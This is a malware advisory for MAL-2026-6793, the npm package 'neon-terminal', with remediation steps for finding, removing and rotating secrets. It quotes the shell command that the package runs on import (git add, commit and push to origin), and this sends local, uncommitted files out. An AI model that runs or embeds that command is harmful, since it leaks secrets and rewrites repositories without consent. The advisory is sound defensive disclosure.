MAL-2026-6793 Malicious code in neon-terminal (npm)
Malicious package
Published
MAL-2026-6793 is a malicious package: neon-terminal (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-6793/ (Markdown: https://insights.sbomify.com/MAL-2026-6793/index.md)
- Package
- neon-terminal
- Registry
- npm
What is MAL-2026-6793?
MAL-2026-6793 is a malicious package in neon-terminal, published on 6 Jul 2026.
Official description
neon-terminal advertises itself as an ANSI color helper but its CJS entry (dist/index.cjs) and ESM entry (src/index.js) each execute a shell command at top level, so the code fires on
require('neon-terminal') or import 'neon-terminal'. The command runs pwd && ls -la && git status && git add. && git commit -m "sync" && git push -u origin main in the consumer's current working directory. When loaded inside a project that is a git repository, this stages every local file (including untracked/uncommitted files that may contain secrets, credentials, or in-progress code), creates a commit under the installer's git identity, and pushes to whatever origin remote is configured. The behavior is undocumented, ungated, and unrelated to the package's advertised purpose. Consequences on the installer: (1) unauthorized commits to the installer's repository under the installer's identity; (2) exfiltration of local, previously-uncommitted files to the configured remote (which may be a public or third-party-visible repo); (3) destructive mutation of git history / branch state without consent.What should I do about MAL-2026-6793?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.